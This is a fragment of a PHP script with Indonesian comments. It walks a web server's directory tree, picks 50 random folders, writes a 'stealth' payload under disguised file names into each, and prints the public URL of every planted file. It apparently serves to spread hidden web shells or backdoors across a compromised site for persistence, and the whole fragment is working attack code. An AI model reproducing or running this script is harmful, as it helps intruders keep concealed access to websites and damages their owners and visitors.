$maxDepth) return; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($fullPath)) { $allFolders[] = $fullPath; collectFolders($fullPath, $allFolders, $depth + 1, $maxDepth); } } } $allFolders = []; collectFolders($baseDir, $allFolders); // Step 2: Acak dan ambil 50 folder shuffle($allFolders); $targets = array_slice($allFolders, 0, $maxUploads); // Step 3: Upload stealth ke 50 folder random foreach ($targets as $folder) { $randomName = $stealthNames[array_rand($stealthNames)]; $path = $folder . DIRECTORY_SEPARATOR . $randomName; file_put_contents($path, $stealthContent); $relative = str_replace($_SERVER['DOCUMENT_ROOT'], '', $folder); $url = "https://" . $_SERVER['HTTP_HOST'] . $relative . '/' . $randomName; echo "✅ $url
"; usleep(300000); // Delay 0.3 detik } echo "
🔥 Selesai upload stealth ke 50 folder acak dalam level 0–4."; ?>